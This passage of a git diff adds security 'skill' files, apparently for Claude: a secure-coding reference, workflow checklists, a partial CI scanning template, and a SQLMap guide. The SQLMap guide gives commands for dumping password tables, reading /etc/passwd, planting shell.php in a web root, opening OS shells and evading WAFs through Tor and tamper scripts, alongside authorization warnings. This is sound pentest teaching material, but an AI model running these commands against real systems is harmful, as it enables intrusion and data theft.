+result = session.execute(text("SELECT * FROM users WHERE id = :id"), {"id": user_id}) +``` + +**Step 3: Validate and sanitize input** (defense in depth) +```python +import re + +# Validate input format +if not re.match(r'^\d+$', user_id): + raise ValueError("Invalid user ID format") + +# Use ORM query builders +user = User.query.filter_by(id=user_id).first() +``` + +**Step 4: Implement least privilege** +- Database user should have minimum required permissions +- Use read-only accounts for SELECT operations +- Never use admin/root accounts for application queries + +### XSS Remediation + +**Step 1: Enable auto-escaping** +- Most modern frameworks escape by default +- Ensure auto-escaping is not disabled + +**Step 2: Use framework-specific safe methods** + +```javascript +// React: Use JSX (auto-escapes) +
{userInput}
+ +// Vue: Use template syntax (auto-escapes) +
{{ userInput }}
+ +// Angular: Use property binding (auto-escapes) +
+``` + +**Step 3: Sanitize when HTML is required** + +```javascript +import DOMPurify from 'dompurify'; + +// Sanitize HTML content +const clean = DOMPurify.sanitize(userHTML, { + ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p'], + ALLOWED_ATTR: [] +}); +``` + +**Step 4: Content Security Policy (CSP)** + +```html + +Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}' +``` + +--- + +## Advanced Configuration + +This section contains detailed configuration options and tuning parameters. + +### Example: SAST Tool Configuration + +```yaml +# Advanced security scanner configuration +scanner: + # Severity threshold + severity_threshold: MEDIUM + + # Rule configuration + rules: + enabled: + - sql-injection + - xss + - hardcoded-secrets + disabled: + - informational-only + + # False positive reduction + confidence_threshold: HIGH + exclude_patterns: + - "*/test/*" + - "*/tests/*" + - "*/node_modules/*" + - "*.test.js" + - "*.spec.ts" + + # Performance tuning + max_file_size_kb: 2048 + timeout_seconds: 300 + parallel_jobs: 4 + + # Output configuration + output_format: json + include_code_snippets: true + max_snippet_lines: 10 +``` + +--- + +## Examples and Code Samples + +This section provides comprehensive code examples for various scenarios. + +### Example 1: Secure API Authentication + +```python +# Secure API key handling +import os +from functools import wraps +from flask import Flask, request, jsonify + +app = Flask(__name__) + +# Load API key from environment (never hardcode) +VALID_API_KEY = os.environ.get('API_KEY') +if not VALID_API_KEY: + raise ValueError("API_KEY environment variable not set") + +def require_api_key(f): + @wraps(f) + def decorated_function(*args, **kwargs): + api_key = request.headers.get('X-API-Key') + + if not api_key: + return jsonify({'error': 'API key required'}), 401 + + # Constant-time comparison to prevent timing attacks + import hmac + if not hmac.compare_digest(api_key, VALID_API_KEY): + return jsonify({'error': 'Invalid API key'}), 403 + + return f(*args, **kwargs) + return decorated_function + +@app.route('/api/secure-endpoint') +@require_api_key +def secure_endpoint(): + return jsonify({'message': 'Access granted'}) +``` + +### Example 2: Secure Password Hashing + +```python +# Secure password storage with bcrypt +import bcrypt + +def hash_password(password: str) -> str: + """Hash a password using bcrypt.""" + # Generate salt and hash password + salt = bcrypt.gensalt(rounds=12) # Cost factor: 12 (industry standard) + hashed = bcrypt.hashpw(password.encode('utf-8'), salt) + return hashed.decode('utf-8') + +def verify_password(password: str, hashed: str) -> bool: + """Verify a password against a hash.""" + return bcrypt.checkpw( + password.encode('utf-8'), + hashed.encode('utf-8') + ) + +# Usage +stored_hash = hash_password("user_password") +is_valid = verify_password("user_password", stored_hash) # True +``` + +### Example 3: Secure File Upload + +```python +# Secure file upload with validation +import os +import magic +from werkzeug.utils import secure_filename + +ALLOWED_EXTENSIONS = {'pdf', 'png', 'jpg', 'jpeg'} +ALLOWED_MIME_TYPES = { + 'application/pdf', + 'image/png', + 'image/jpeg' +} +MAX_FILE_SIZE = 5 * 1024 * 1024 # 5 MB + +def is_allowed_file(filename: str, file_content: bytes) -> bool: + """Validate file extension and MIME type.""" + # Check extension + if '.' not in filename: + return False + + ext = filename.rsplit('.', 1)[1].lower() + if ext not in ALLOWED_EXTENSIONS: + return False + + # Check MIME type (prevent extension spoofing) + mime = magic.from_buffer(file_content, mime=True) + if mime not in ALLOWED_MIME_TYPES: + return False + + return True + +def handle_upload(file): + """Securely handle file upload.""" + # Check file size + file.seek(0, os.SEEK_END) + size = file.tell() + file.seek(0) + + if size > MAX_FILE_SIZE: + raise ValueError("File too large") + + # Read content for validation + content = file.read() + file.seek(0) + + # Validate file type + if not is_allowed_file(file.filename, content): + raise ValueError("Invalid file type") + + # Sanitize filename + filename = secure_filename(file.filename) + + # Generate unique filename to prevent overwrite attacks + import uuid + unique_filename = f"{uuid.uuid4()}_{filename}" + + # Save to secure location (outside web root) + upload_path = os.path.join('/secure/uploads', unique_filename) + file.save(upload_path) + + return unique_filename +``` + +--- + +## Best Practices for Reference Documents + +1. **Start with "When to use"** - Help Claude know when to load this reference +2. **Include table of contents** - For documents >100 lines +3. **Use concrete examples** - Code samples with vulnerable and fixed versions +4. **Map to frameworks** - OWASP, CWE, MITRE ATT&CK for context +5. **Provide remediation** - Don't just identify issues, show how to fix them +6. **Organize logically** - Group related content, use clear headings +7. **Keep examples current** - Use modern patterns and current framework versions +8. **Be concise** - Even in references, challenge every sentence diff --git a/skills/offsec/webapp-nikto/references/WORKFLOW_CHECKLIST.md b/skills/offsec/webapp-nikto/references/WORKFLOW_CHECKLIST.md new file mode 100644 index 0000000..eff0234 --- /dev/null +++ b/skills/offsec/webapp-nikto/references/WORKFLOW_CHECKLIST.md @@ -0,0 +1,253 @@ +# Workflow Checklist Template + +This template demonstrates workflow patterns for security operations. Copy and adapt these checklists to your specific skill needs. + +## Pattern 1: Sequential Workflow Checklist + +Use this pattern for operations that must be completed in order, step-by-step. + +### Security Assessment Workflow + +Progress: +[ ] 1. Identify application entry points and attack surface +[ ] 2. Map authentication and authorization flows +[ ] 3. Identify data flows and sensitive data handling +[ ] 4. Review existing security controls +[ ] 5. Document findings with framework references (OWASP, CWE) +[ ] 6. Prioritize findings by severity (CVSS scores) +[ ] 7. Generate report with remediation recommendations + +Work through each step systematically. Check off completed items. + +--- + +## Pattern 2: Conditional Workflow + +Use this pattern when the workflow branches based on findings or conditions. + +### Vulnerability Remediation Workflow + +1. Identify vulnerability type + - If SQL Injection → See [sql-injection-remediation.md](sql-injection-remediation.md) + - If XSS (Cross-Site Scripting) → See [xss-remediation.md](xss-remediation.md) + - If Authentication flaw → See [auth-remediation.md](auth-remediation.md) + - If Authorization flaw → See [authz-remediation.md](authz-remediation.md) + - If Cryptographic issue → See [crypto-remediation.md](crypto-remediation.md) + +2. Assess severity using CVSS calculator + - If CVSS >= 9.0 → Priority: Critical (immediate action) + - If CVSS 7.0-8.9 → Priority: High (action within 24h) + - If CVSS 4.0-6.9 → Priority: Medium (action within 1 week) + - If CVSS < 4.0 → Priority: Low (action within 30 days) + +3. Apply appropriate remediation pattern +4. Validate fix with security testing +5. Document changes and update security documentation + +--- + +## Pattern 3: Iterative Workflow + +Use this pattern for operations that repeat across multiple targets or items. + +### Code Security Review Workflow + +For each file in the review scope: +1. Identify security-sensitive operations (auth, data access, crypto, input handling) +2. Check against secure coding patterns for the language +3. Flag potential vulnerabilities with severity rating +4. Map findings to CWE and OWASP categories +5. Suggest specific remediation approaches +6. Document finding with code location and fix priority + +Continue until all files in scope have been reviewed. + +--- + +## Pattern 4: Feedback Loop Workflow + +Use this pattern when validation and iteration are required. + +### Secure Configuration Generation Workflow + +1. Generate initial security configuration based on requirements +2. Run validation script: `./scripts/validate_config.py config.yaml` +3. Review validation output: + - Note all errors (must fix) + - Note all warnings (should fix) + - Note all info items (consider) +4. Fix identified issues in configuration +5. Repeat steps 2-4 until validation passes with zero errors +6. Review warnings and determine if they should be addressed +7. Apply configuration once validation is clean + +**Validation Loop**: Run validator → Fix errors → Repeat until clean + +--- + +## Pattern 5: Parallel Analysis Workflow + +Use this pattern when multiple independent analyses can run concurrently. + +### Comprehensive Security Scan Workflow + +Run these scans in parallel: + +**Static Analysis**: +[ ] 1a. Run SAST scan (Semgrep/Bandit) +[ ] 1b. Run dependency vulnerability scan (Safety/npm audit) +[ ] 1c. Run secrets detection (Gitleaks/TruffleHog) +[ ] 1d. Run license compliance check + +**Dynamic Analysis**: +[ ] 2a. Run DAST scan (ZAP/Burp) +[ ] 2b. Run API security testing +[ ] 2c. Run authentication/authorization testing + +**Infrastructure Analysis**: +[ ] 3a. Run infrastructure-as-code scan (Checkov/tfsec) +[ ] 3b. Run container image scan (Trivy/Grype) +[ ] 3c. Run configuration review + +**Consolidation**: +[ ] 4. Aggregate all findings +[ ] 5. Deduplicate and correlate findings +[ ] 6. Prioritize by risk (CVSS + exploitability + business impact) +[ ] 7. Generate unified security report + +--- + +## Pattern 6: Research and Documentation Workflow + +Use this pattern for security research and documentation tasks. + +### Threat Modeling Workflow + +Research Progress: +[ ] 1. Identify system components and boundaries +[ ] 2. Map data flows between components +[ ] 3. Identify trust boundaries +[ ] 4. Enumerate assets (data, services, credentials) +[ ] 5. Apply STRIDE framework to each component: + - Spoofing threats + - Tampering threats + - Repudiation threats + - Information disclosure threats + - Denial of service threats + - Elevation of privilege threats +[ ] 6. Map threats to MITRE ATT&CK techniques +[ ] 7. Identify existing mitigations +[ ] 8. Document residual risks +[ ] 9. Recommend additional security controls +[ ] 10. Generate threat model document + +Work through each step systematically. Check off completed items. + +--- + +## Pattern 7: Compliance Validation Workflow + +Use this pattern for compliance checks against security standards. + +### Security Compliance Audit Workflow + +**SOC 2 Controls Review**: +[ ] 1. Review access control policies (CC6.1, CC6.2, CC6.3) +[ ] 2. Verify logical access controls implementation (CC6.1) +[ ] 3. Review authentication mechanisms (CC6.1) +[ ] 4. Verify encryption implementation (CC6.1, CC6.7) +[ ] 5. Review audit logging configuration (CC7.2) +[ ] 6. Verify security monitoring (CC7.2, CC7.3) +[ ] 7. Review incident response procedures (CC7.3, CC7.4) +[ ] 8. Verify backup and recovery processes (A1.2, A1.3) + +**Evidence Collection**: +[ ] 9. Collect policy documents +[ ] 10. Collect configuration screenshots +[ ] 11. Collect audit logs +[ ] 12. Document control gaps +[ ] 13. Generate compliance report + +--- + +## Pattern 8: Incident Response Workflow + +Use this pattern for security incident handling. + +### Security Incident Response Workflow + +**Detection and Analysis**: +[ ] 1. Confirm security incident (rule out false positive) +[ ] 2. Determine incident severity (SEV1/2/3/4) +[ ] 3. Identify affected systems and data +[ ] 4. Preserve evidence (logs, memory dumps, network captures) + +**Containment**: +[ ] 5. Isolate affected systems (network segmentation) +[ ] 6. Disable compromised accounts +[ ] 7. Block malicious indicators (IPs, domains, hashes) +[ ] 8. Implement temporary compensating controls + +**Eradication**: +[ ] 9. Identify root cause +[ ] 10. Remove malicious artifacts (malware, backdoors, webshells) +[ ] 11. Patch vulnerabilities exploited +[ ] 12. Reset compromised credentials + +**Recovery**: +[ ] 13. Restore systems from clean backups (if needed) +[ ] 14. Re-enable systems with monitoring +[ ] 15. Verify system integrity +[ ] 16. Resume normal operations + +**Post-Incident**: +[ ] 17. Document incident timeline +[ ] 18. Identify lessons learned +[ ] 19. Update security controls to prevent recurrence +[ ] 20. Update incident response procedures +[ ] 21. Communicate with stakeholders + +--- + +## Usage Guidelines + +### When to Use Workflow Checklists + +✅ **Use checklists for**: +- Complex multi-step operations +- Operations requiring specific order +- Security assessments and audits +- Incident response procedures +- Compliance validation tasks + +❌ **Don't use checklists for**: +- Simple single-step operations +- Highly dynamic exploratory work +- Operations that vary significantly each time + +### Adapting This Template + +1. **Copy relevant pattern** to your skill's SKILL.md or create new reference file +2. **Customize steps** to match your specific security tool or process +3. **Add framework references** (OWASP, CWE, NIST) where applicable +4. **Include tool-specific commands** for automation +5. **Add decision points** where manual judgment is required + +### Checklist Best Practices + +- **Be specific**: "Run semgrep --config=auto ." not "Scan the code" +- **Include success criteria**: "Validation passes with 0 errors" +- **Reference standards**: Link to OWASP, CWE, NIST where relevant +- **Show progress**: Checkbox format helps track completion +- **Provide escape hatches**: "If validation fails, see troubleshooting.md" + +### Integration with Feedback Loops + +Combine checklists with validation scripts for maximum effectiveness: + +1. Create checklist for the workflow +2. Provide validation script that checks quality +3. Include "run validator" step in checklist +4. Loop: Complete step → Validate → Fix issues → Re-validate + +This pattern dramatically improves output quality through systematic validation. diff --git a/skills/offsec/webapp-sqlmap/SKILL.md b/skills/offsec/webapp-sqlmap/SKILL.md new file mode 100644 index 0000000..3589276 --- /dev/null +++ b/skills/offsec/webapp-sqlmap/SKILL.md @@ -0,0 +1,464 @@ +--- +name: webapp-sqlmap +description: > + Automated SQL injection detection and exploitation tool for web application security testing. + Use when: (1) Testing web applications for SQL injection vulnerabilities in authorized assessments, + (2) Exploiting SQL injection flaws to demonstrate impact, (3) Extracting database information for + security validation, (4) Bypassing authentication mechanisms through SQL injection, (5) Identifying + vulnerable parameters in web requests, (6) Automating database enumeration and data extraction. +version: 0.1.0 +maintainer: sirappsec@gmail.com +category: offsec +tags: [sqli, sql-injection, webapp, database-security, exploitation, sqlmap] +frameworks: [OWASP, CWE, MITRE-ATT&CK] +dependencies: + packages: [sqlmap, python3] +references: + - https://sqlmap.org/ + - https://owasp.org/www-community/attacks/SQL_Injection + - https://cwe.mitre.org/data/definitions/89.html +--- + +# SQLMap - Automated SQL Injection Tool + +## Overview + +SQLMap is an open-source penetration testing tool that automates the detection and exploitation of SQL injection vulnerabilities. This skill covers authorized security testing including vulnerability detection, database enumeration, data extraction, and authentication bypass. + +**IMPORTANT**: SQL injection exploitation is invasive and can corrupt data. Only use SQLMap with proper written authorization on systems you own or have explicit permission to test. + +## Quick Start + +Basic SQL injection detection: + +```bash +# Test single parameter +sqlmap -u "http://example.com/page?id=1" + +# Test with POST data +sqlmap -u "http://example.com/login" --data="username=admin&password=test" + +# Test from saved request file +sqlmap -r request.txt + +# Detect and enumerate databases +sqlmap -u "http://example.com/page?id=1" --dbs +``` + +## Core Workflow + +### SQL Injection Testing Workflow + +Progress: +[ ] 1. Verify authorization for web application testing +[ ] 2. Identify potential injection points +[ ] 3. Detect SQL injection vulnerabilities +[ ] 4. Determine DBMS type and version +[ ] 5. Enumerate databases and tables +[ ] 6. Extract sensitive data (if authorized) +[ ] 7. Document findings with remediation guidance +[ ] 8. Clean up any test artifacts + +Work through each step systematically. Check off completed items. + +### 1. Authorization Verification + +**CRITICAL**: Before any SQL injection testing: +- Confirm written authorization from application owner +- Verify scope includes web application security testing +- Understand data protection and handling requirements +- Document allowed testing windows +- Confirm backup and rollback procedures + +### 2. Target Identification + +Identify potential SQL injection points: + +**GET Parameters**: +```bash +# Single URL with parameter +sqlmap -u "http://example.com/product?id=1" + +# Multiple parameters +sqlmap -u "http://example.com/search?query=test&category=all&sort=name" + +# Test all parameters +sqlmap -u "http://example.com/page?id=1&name=test" --level=5 --risk=3 +``` + +**POST Requests**: +```bash +# POST data directly +sqlmap -u "http://example.com/login" --data="user=admin&pass=test" + +# From Burp Suite request file +sqlmap -r login_request.txt + +# With additional headers +sqlmap -u "http://example.com/api" --data='{"user":"admin"}' --headers="Content-Type: application/json" +``` + +**Cookies and Headers**: +```bash +# Test cookies +sqlmap -u "http://example.com/" --cookie="sessionid=abc123; role=user" + +# Test custom headers +sqlmap -u "http://example.com/" --headers="X-Forwarded-For: 1.1.1.1\nUser-Agent: Test" + +# Test specific injection point +sqlmap -u "http://example.com/" --cookie="sessionid=abc123*; role=user" +``` + +### 3. Detection and Fingerprinting + +Detect SQL injection vulnerabilities: + +```bash +# Basic detection +sqlmap -u "http://example.com/page?id=1" + +# Aggressive testing (higher risk) +sqlmap -u "http://example.com/page?id=1" --level=5 --risk=3 + +# Specify technique +sqlmap -u "http://example.com/page?id=1" --technique=BEUSTQ + +# Detect DBMS +sqlmap -u "http://example.com/page?id=1" --fingerprint + +# Force specific DBMS +sqlmap -u "http://example.com/page?id=1" --dbms=mysql +``` + +**Injection Techniques**: +- **B**: Boolean-based blind +- **E**: Error-based +- **U**: UNION query-based +- **S**: Stacked queries +- **T**: Time-based blind +- **Q**: Inline queries + +### 4. Database Enumeration + +Enumerate database structure: + +```bash +# List databases +sqlmap -u "http://example.com/page?id=1" --dbs + +# Current database +sqlmap -u "http://example.com/page?id=1" --current-db + +# List tables in database +sqlmap -u "http://example.com/page?id=1" -D database_name --tables + +# List columns in table +sqlmap -u "http://example.com/page?id=1" -D database_name -T users --columns + +# Database users +sqlmap -u "http://example.com/page?id=1" --users + +# Database user privileges +sqlmap -u "http://example.com/page?id=1" --privileges +``` + +### 5. Data Extraction + +Extract data from database (authorized only): + +```bash +# Dump specific table +sqlmap -u "http://example.com/page?id=1" -D database_name -T users --dump + +# Dump specific columns +sqlmap -u "http://example.com/page?id=1" -D database_name -T users -C username,password --dump + +# Dump all databases (use with caution) +sqlmap -u "http://example.com/page?id=1" --dump-all + +# Exclude system databases +sqlmap -u "http://example.com/page?id=1" --dump-all --exclude-sysdbs + +# Search for specific data +sqlmap -u "http://example.com/page?id=1" -D database_name --search -C password +``` + +### 6. Advanced Exploitation + +Advanced SQL injection techniques: + +**File System Access**: +```bash +# Read file from server +sqlmap -u "http://example.com/page?id=1" --file-read="/etc/passwd" + +# Write file to server (very invasive) +sqlmap -u "http://example.com/page?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php" +``` + +**OS Command Execution** (requires stacked queries or out-of-band): +```bash +# Execute OS command +sqlmap -u "http://example.com/page?id=1" --os-cmd="whoami" + +# Get OS shell +sqlmap -u "http://example.com/page?id=1" --os-shell + +# Get SQL shell +sqlmap -u "http://example.com/page?id=1" --sql-shell +``` + +**Authentication Bypass**: +```bash +# Attempt to bypass login +sqlmap -u "http://example.com/login" --data="user=admin&pass=test" --auth-type=Basic + +# Test with authentication +sqlmap -u "http://example.com/page?id=1" --auth-cred="admin:password" +``` + +### 7. WAF Bypass and Evasion + +Evade web application firewalls: + +```bash +# Use tamper scripts +sqlmap -u "http://example.com/page?id=1" --tamper=space2comment + +# Multiple tamper scripts +sqlmap -u "http://example.com/page?id=1" --tamper=space2comment,between + +# Random User-Agent +sqlmap -u "http://example.com/page?id=1" --random-agent + +# Custom User-Agent +sqlmap -u "http://example.com/page?id=1" --user-agent="Mozilla/5.0..." + +# Add delay between requests +sqlmap -u "http://example.com/page?id=1" --delay=2 + +# Use proxy +sqlmap -u "http://example.com/page?id=1" --proxy="http://127.0.0.1:8080" + +# Use Tor +sqlmap -u "http://example.com/page?id=1" --tor --check-tor +``` + +**Common Tamper Scripts**: +- `space2comment`: Replace space with comments +- `between`: Replace equals with BETWEEN +- `charencode`: URL encode characters +- `randomcase`: Random case for keywords +- `apostrophemask`: Replace apostrophe with UTF-8 +- `equaltolike`: Replace equals with LIKE + +## Security Considerations + +### Authorization & Legal Compliance + +- **Written Permission**: Obtain explicit authorization for SQL injection testing +- **Data Protection**: Handle extracted data per engagement rules +- **Scope Boundaries**: Only test explicitly authorized applications +- **Backup Verification**: Ensure backups exist before invasive testing +- **Production Systems**: Extra caution on production databases + +### Operational Security + +- **Rate Limiting**: Use --delay to avoid overwhelming applications +- **Session Management**: Save and resume sessions with --flush-session +- **Logging**: All SQLMap activity is logged to ~/.sqlmap/output/ +- **Data Sanitization**: Redact sensitive data from reports +- **False Positives**: Verify findings manually + +### Audit Logging + +Document all SQL injection testing: +- Target URLs and parameters tested +- Injection techniques successful +- Databases and tables accessed +- Data extracted (summary only, not full data) +- Commands executed +- Tamper scripts and evasion used + +### Compliance + +- **OWASP Top 10**: A03:2021 - Injection +- **CWE-89**: SQL Injection +- **MITRE ATT&CK**: T1190 (Exploit Public-Facing Application) +- **PCI-DSS**: 6.5.1 - Injection flaws +- **ISO 27001**: A.14.2 Security in development + +## Common Patterns + +### Pattern 1: Basic Vulnerability Assessment + +```bash +# Detect vulnerability +sqlmap -u "http://example.com/page?id=1" --batch + +# Enumerate databases +sqlmap -u "http://example.com/page?id=1" --dbs --batch + +# Get current user and privileges +sqlmap -u "http://example.com/page?id=1" --current-user --current-db --is-dba --batch +``` + +### Pattern 2: Authentication Bypass Testing + +```bash +# Test login form +sqlmap -u "http://example.com/login" \ + --data="username=admin&password=test" \ + --level=5 --risk=3 \ + --technique=BE \ + --batch + +# Attempt to extract admin credentials +sqlmap -u "http://example.com/login" \ + --data="username=admin&password=test" \ + -D app_db -T users -C username,password --dump \ + --batch +``` + +### Pattern 3: API Testing + +```bash +# JSON API endpoint +sqlmap -u "http://api.example.com/user/1" \ + --headers="Content-Type: application/json\nAuthorization: Bearer token123" \ + --level=3 \ + --batch + +# REST API with POST +sqlmap -u "http://api.example.com/search" \ + --data='{"query":"test","limit":10}' \ + --headers="Content-Type: application/json" \ + --batch +``` + +### Pattern 4: Comprehensive Enumeration + +```bash +# Full enumeration (use with extreme caution) +sqlmap -u "http://example.com/page?id=1" \ + --banner \ + --current-user \ + --current-db \ + --is-dba \ + --users \ + --passwords \ + --privileges \ + --dbs \ + --batch +``` + +## Integration Points + +### Burp Suite Integration + +```bash +# Save request from Burp Suite as request.txt +# Right-click request → "Copy to file" + +# Test with SQLMap +sqlmap -r request.txt --batch + +# Use Burp as proxy +sqlmap -u "http://example.com/page?id=1" --proxy="http://127.0.0.1:8080" +``` + +### Reporting and Output + +```bash +# Save session for later +sqlmap -u "http://example.com/page?id=1" -s output.sqlite + +# Resume session +sqlmap -u "http://example.com/page?id=1" --resume + +# Custom output directory +sqlmap -u "http://example.com/page?id=1" --output-dir="/path/to/results" + +# Verbose output +sqlmap -u "http://example.com/page?id=1" -v 3 + +# Traffic log +sqlmap -u "http://example.com/page?id=1" -t traffic.log +``` + +## Troubleshooting + +### Issue: False Positives + +**Solutions**: +```bash +# Increase detection accuracy +sqlmap -u "http://example.com/page?id=1" --string="Welcome" --not-string="Error" + +# Use specific technique +sqlmap -u "http://example.com/page?id=1" --technique=U + +# Manual verification +sqlmap -u "http://example.com/page?id=1" --sql-query="SELECT version()" +``` + +### Issue: WAF Blocking Requests + +**Solutions**: +```bash +# Use tamper scripts +sqlmap -u "http://example.com/page?id=1" --tamper=space2comment,between --random-agent + +# Add delays +sqlmap -u "http://example.com/page?id=1" --delay=3 --randomize + +# Change HTTP method +sqlmap -u "http://example.com/page?id=1" --method=PUT +``` + +### Issue: Slow Performance + +**Solutions**: +```bash +# Use threads (careful with application stability) +sqlmap -u "http://example.com/page?id=1" --threads=5 + +# Reduce testing scope +sqlmap -u "http://example.com/page?id=1" --level=1 --risk=1 + +# Test specific parameter only +sqlmap -u "http://example.com/page?id=1&name=test" -p id +``` + +## Defensive Considerations + +Protect applications against SQL injection: + +**Secure Coding Practices**: +- Use parameterized queries/prepared statements +- Employ ORM frameworks properly +- Validate and sanitize all user input +- Apply principle of least privilege to database accounts +- Disable error messages in production + +**Web Application Firewall Rules**: +- Block common SQL injection patterns +- Implement rate limiting +- Monitor for suspicious query patterns +- Alert on multiple injection attempts + +**Detection and Monitoring**: +- Log all database queries +- Monitor for unusual query patterns +- Alert on error-based injection attempts +- Detect time-based blind injection delays +- Monitor for UNION-based queries + +## References + +- [SQLMap Official Documentation](https://sqlmap.org/) +- [OWASP SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) +- [CWE-89: SQL Injection](https://cwe.mitre.org/data/definitions/89.html) +- [SQLMap Tamper Scripts](https://github.com/sqlmapproject/sqlmap/tree/master/tamper) +- [PTES: Vulnerability Analysis](http://www.pentest-standard.org/index.php/Vulnerability_Analysis) diff --git a/skills/offsec/webapp-sqlmap/assets/.gitkeep b/skills/offsec/webapp-sqlmap/assets/.gitkeep new file mode 100644 index 0000000..189ed78 --- /dev/null +++ b/skills/offsec/webapp-sqlmap/assets/.gitkeep @@ -0,0 +1,9 @@ +# Assets Directory + +Place files that will be used in the output Claude produces: +- Templates +- Configuration files +- Images/logos +- Boilerplate code + +These files are NOT loaded into context but copied/modified in output. diff --git a/skills/offsec/webapp-sqlmap/assets/ci-config-template.yml b/skills/offsec/webapp-sqlmap/assets/ci-config-template.yml new file mode 100644 index 0000000..367cdbb --- /dev/null +++ b/skills/offsec/webapp-sqlmap/assets/ci-config-template.yml @@ -0,0 +1,357 @@ +# Security-Enhanced CI/CD Pipeline Template +# +# This template demonstrates security best practices for CI/CD pipelines. +# Adapt this template to your specific security tool and workflow needs. +# +# Key Security Features: +# - SAST (Static Application Security Testing) +# - Dependency vulnerability scanning +# - Secrets detection +# - Infrastructure-as-Code security scanning +# - Container image scanning +# - Security artifact uploading for compliance + +name: Security Scan Pipeline + +on: + push: + branches: [main, develop] + pull_request: + branches: [main, develop] + schedule: + # Run weekly security scans on Sunday at 2 AM UTC + - cron: '0 2 * * 0' + workflow_dispatch: # Allow manual trigger + +# Security: Restrict permissions to minimum required +permissions: + contents: read + security-events: write # For uploading SARIF results + pull-requests: write # For commenting on PRs + +env: + # Configuration + SECURITY_SCAN_FAIL_ON: 'critical,high' # Fail build on these severities + REPORT_DIR: 'security-reports' + +jobs: + # Job 1: Static Application Security Testing (SAST) + sast-scan: + name: SAST Security Scan + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 0 # Full history for better analysis + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: '3.11' + + - name: Run SAST Scanner + run: | + # Example: Using Semgrep for SAST + pip install semgrep + semgrep --config=auto \ + --json \ + --output ${{ env.REPORT_DIR }}/sast-results.json \ + . || true + + # Alternative: Bandit for Python projects + # pip install bandit + # bandit -r . -f json -o ${{ env.REPORT_DIR }}/bandit-results.json + + - name: Process SAST Results + run: | + # Parse results and fail on critical/high severity + python3 -c " + import json + import sys + + with open('${{ env.REPORT_DIR }}/sast-results.json') as f: + results = json.load(f) + + critical = len([r for r in results.get('results', []) if r.get('extra', {}).get('severity') == 'ERROR']) + high = len([r for r in results.get('results', []) if r.get('extra', {}).get('severity') == 'WARNING']) + + print(f'Critical findings: {critical}') + print(f'High findings: {high}') + + if critical > 0: + print('❌ Build failed: Critical security issues found') + sys.exit(1) + elif high > 0: + print('⚠️ Warning: High severity issues found') + # Optionally fail on high severity + # sys.exit(1) + else: + print('✅ No critical security issues found') + " + + - name: Upload SAST Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: sast-results + path: ${{ env.REPORT_DIR }}/sast-results.json + retention-days: 30 + + # Job 2: Dependency Vulnerability Scanning + dependency-scan: + name: Dependency Vulnerability Scan + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: '3.11' + + - name: Scan Python Dependencies + if: hashFiles('requirements.txt') != '' + run: | + pip install safety + safety check \ + --json \ + --output ${{ env.REPORT_DIR }}/safety-results.json \ + || true + + - name: Scan Node Dependencies + if: hashFiles('package.json') != '' + run: | + npm audit --json > ${{ env.REPORT_DIR }}/npm-audit.json || true + + - name: Process Dependency Results + run: | + # Check for critical vulnerabilities + if [ -f "${{ env.REPORT_DIR }}/safety-results.json" ]; then + critical_count=$(python3 -c "import json; data=json.load(open('${{ env.REPORT_DIR }}/safety-results.json')); print(len([v for v in data.get('vulnerabilities', []) if v.get('severity', '').lower() == 'critical']))") + echo "Critical vulnerabilities: $critical_count" + if [ "$critical_count" -gt "0" ]; then + echo "❌ Build failed: Critical vulnerabilities in dependencies" + exit 1 + fi + fi + + - name: Upload Dependency Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: dependency-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 3: Secrets Detection + secrets-scan: + name: Secrets Detection + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 0 # Full history to scan all commits + + - name: Run Gitleaks + uses: gitleaks/gitleaks-action@v2 + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + GITLEAKS_ENABLE_SUMMARY: true + + - name: Alternative - TruffleHog Scan + if: false # Set to true to enable + run: | + pip install truffleHog + trufflehog --json --regex --entropy=True . \ + > ${{ env.REPORT_DIR }}/trufflehog-results.json || true + + - name: Upload Secrets Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: secrets-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 4: Container Image Scanning + container-scan: + name: Container Image Security Scan + runs-on: ubuntu-latest + if: hashFiles('Dockerfile') != '' + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Build Docker Image + run: | + docker build -t app:${{ github.sha }} . + + - name: Run Trivy Scanner + uses: aquasecurity/trivy-action@master + with: + image-ref: app:${{ github.sha }} + format: 'sarif' + output: '${{ env.REPORT_DIR }}/trivy-results.sarif' + severity: 'CRITICAL,HIGH' + + - name: Upload Trivy Results to GitHub Security + if: always() + uses: github/codeql-action/upload-sarif@v3 + with: + sarif_file: '${{ env.REPORT_DIR }}/trivy-results.sarif' + + - name: Upload Container Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: container-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 5: Infrastructure-as-Code Security Scanning + iac-scan: + name: IaC Security Scan + runs-on: ubuntu-latest + if: hashFiles('**/*.tf', '**/*.yaml', '**/*.yml') != '' + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Run Checkov + run: | + pip install checkov + checkov -d . \ + --output json \ + --output-file ${{ env.REPORT_DIR }}/checkov-results.json \ + --quiet \ + || true + + - name: Run tfsec (for Terraform) + if: hashFiles('**/*.tf') != '' + run: | + curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash + tfsec . \ + --format json \ + --out ${{ env.REPORT_DIR }}/tfsec-results.json \ + || true + + - name: Process IaC Results + run: | + # Fail on critical findings + if [ -f "${{ env.REPORT_DIR }}/checkov-results.json" ]; then + critical_count=$(python3 -c "import json; data=json.load(open('${{ env.REPORT_DIR }}/checkov-results.json')); print(data.get('summary', {}).get('failed', 0))") + echo "Failed checks: $critical_count" + if [ "$critical_count" -gt "0" ]; then + echo "⚠️ Warning: IaC 